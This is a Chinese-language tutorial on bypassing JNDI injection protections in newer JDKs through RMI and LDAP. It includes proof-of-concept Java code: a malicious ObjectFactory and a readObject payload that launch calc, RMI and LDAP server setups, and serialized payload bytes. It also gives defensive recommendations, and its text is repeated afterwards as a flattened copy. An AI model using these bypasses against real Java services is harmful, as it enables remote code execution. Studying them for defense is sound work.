jndi注入 jdk高版本利用方式详解
字数 1624 2025-08-22 22:47:39

JNDI注入高版本JDK利用方式详解

1. JNDI注入基础概念

JNDI (Java Naming and Directory Interface) 是Java提供的命名和目录服务API,其中RMI (远程方法调用) 和LDAP (轻量级目录访问协议) 在低版本JDK中存在远程加载类导致命令执行的安全问题。

1.1 受影响版本

  • RMI:
    • 修复版本: 6u132, 7u122, 8u113
  • LDAP:
    • 修复版本: 11.0.1, 8u191, 7u201, 6u211

2. RMI利用方式分析

2.1 传统RMI利用方式

在低版本中,攻击者可以通过设置Reference对象的factoryLocation属性指向恶意远程代码库来实现攻击。

2.2 高版本限制

从修复版本开始,默认设置com.sun.jndi.rmi.object.trustURLCodebasefalse,禁止远程加载不可信的代码库。

2.3 高版本绕过方式

2.3.1 关键绕过思路

  1. Reference对象的factoryLocation设置为null
  2. 利用本地存在的工厂类,该类需要:
    • 实现ObjectFactory接口
    • 重写getObjectInstance方法
    • getObjectInstance方法中实现命令执行

2.3.2 示例代码

恶意工厂类:

package org.example;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class PayloadObjectFactory implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, 
                                   Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        return 1;
    }
}

RMI服务端:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1111);
        // 关键点:factoryLocation设置为null,使用本地工厂类
        Reference reference = new Reference("aaa", "org.example.PayloadObjectFactory", null);
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("payload", wrapper);
    }
}

RMI客户端:

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMI_client {
    public static void main(String[] args) {
        try {
            new InitialContext().lookup("rmi://127.0.0.1:1111/payload");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

3. LDAP利用方式分析

3.1 传统LDAP利用方式

类似于RMI,通过设置javaCodeBasejavaFactory属性指向远程恶意类。

3.2 高版本绕过方式

LDAP在高版本中提供了两种绕过方式:

3.2.1 本地工厂类方式

与RMI类似,利用本地存在的恶意工厂类。

LDAP服务端关键代码:

// 不设置javaCodeBase属性
e.addAttribute("javaClassName", "javaclassname");
e.addAttribute("objectClass", "javaNamingReference");
// 设置本地工厂类名
e.addAttribute("javaFactory", "org.example.PayloadObjectFactory");

3.2.2 反序列化方式

利用LDAP的javaSerializedData属性进行反序列化攻击。

实现步骤:

  1. 创建恶意序列化类:
package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Payload implements Serializable {
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec("calc");
    }
}
  1. 生成序列化数据:
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(new Payload());
byte[] bytes = byteArrayOutputStream.toByteArray();
  1. LDAP服务端设置序列化数据:
byte[] bytes = new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
e.addAttribute("javaSerializedData", bytes);

4. 技术原理分析

4.1 RMI绕过原理

com.sun.jndi.rmi.registry.RegistryContext#decodeObject方法中:

  1. 检查trustURLCodebase属性(默认为false)
  2. 如果factoryLocation为null,则尝试从本地加载工厂类
  3. 调用工厂类的getObjectInstance方法

4.2 LDAP绕过原理

javax.naming.spi.NamingManager#getObjectFactoryFromReference方法中:

  1. 首先尝试从本地加载工厂类
  2. 如果本地找不到且trustURLCodebase为true,才尝试远程加载
  3. 反序列化路径:com.sun.jndi.ldap.Obj#decodeObject会检查javaSerializedData属性并反序列化

5. 防御建议

  1. 升级JDK到最新版本
  2. 避免使用不可信的JNDI查找
  3. 设置系统属性com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebasefalse
  4. 对反序列化操作进行严格管控

6. 总结

协议 低版本利用方式 高版本绕过方式
RMI 远程加载工厂类 仅能使用本地工厂类
LDAP 远程加载工厂类 1. 本地工厂类 2. 反序列化

关键点:

  • 本地工厂类必须实现ObjectFactory接口
  • 反序列化需要存在可利用的gadget链
  • 两种方式都需要应用环境中存在相应的利用条件
JNDI注入高版本JDK利用方式详解 1. JNDI注入基础概念 JNDI (Java Naming and Directory Interface) 是Java提供的命名和目录服务API,其中RMI (远程方法调用) 和LDAP (轻量级目录访问协议) 在低版本JDK中存在远程加载类导致命令执行的安全问题。 1.1 受影响版本 RMI : 修复版本: 6u132, 7u122, 8u113 LDAP : 修复版本: 11.0.1, 8u191, 7u201, 6u211 2. RMI利用方式分析 2.1 传统RMI利用方式 在低版本中,攻击者可以通过设置 Reference 对象的 factoryLocation 属性指向恶意远程代码库来实现攻击。 2.2 高版本限制 从修复版本开始,默认设置 com.sun.jndi.rmi.object.trustURLCodebase 为 false ,禁止远程加载不可信的代码库。 2.3 高版本绕过方式 2.3.1 关键绕过思路 将 Reference 对象的 factoryLocation 设置为 null 利用本地存在的工厂类,该类需要: 实现 ObjectFactory 接口 重写 getObjectInstance 方法 在 getObjectInstance 方法中实现命令执行 2.3.2 示例代码 恶意工厂类 : RMI服务端 : RMI客户端 : 3. LDAP利用方式分析 3.1 传统LDAP利用方式 类似于RMI,通过设置 javaCodeBase 和 javaFactory 属性指向远程恶意类。 3.2 高版本绕过方式 LDAP在高版本中提供了两种绕过方式: 3.2.1 本地工厂类方式 与RMI类似,利用本地存在的恶意工厂类。 LDAP服务端关键代码 : 3.2.2 反序列化方式 利用LDAP的 javaSerializedData 属性进行反序列化攻击。 实现步骤 : 创建恶意序列化类: 生成序列化数据: LDAP服务端设置序列化数据: 4. 技术原理分析 4.1 RMI绕过原理 在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 方法中: 检查 trustURLCodebase 属性(默认为false) 如果 factoryLocation 为null,则尝试从本地加载工厂类 调用工厂类的 getObjectInstance 方法 4.2 LDAP绕过原理 在 javax.naming.spi.NamingManager#getObjectFactoryFromReference 方法中: 首先尝试从本地加载工厂类 如果本地找不到且 trustURLCodebase 为true,才尝试远程加载 反序列化路径: com.sun.jndi.ldap.Obj#decodeObject 会检查 javaSerializedData 属性并反序列化 5. 防御建议 升级JDK到最新版本 避免使用不可信的JNDI查找 设置系统属性 com.sun.jndi.rmi.object.trustURLCodebase 和 com.sun.jndi.cosnaming.object.trustURLCodebase 为 false 对反序列化操作进行严格管控 6. 总结 | 协议 | 低版本利用方式 | 高版本绕过方式 | |------|--------------|--------------| | RMI | 远程加载工厂类 | 仅能使用本地工厂类 | | LDAP | 远程加载工厂类 | 1. 本地工厂类 2. 反序列化 | 关键点: 本地工厂类必须实现 ObjectFactory 接口 反序列化需要存在可利用的gadget链 两种方式都需要应用环境中存在相应的利用条件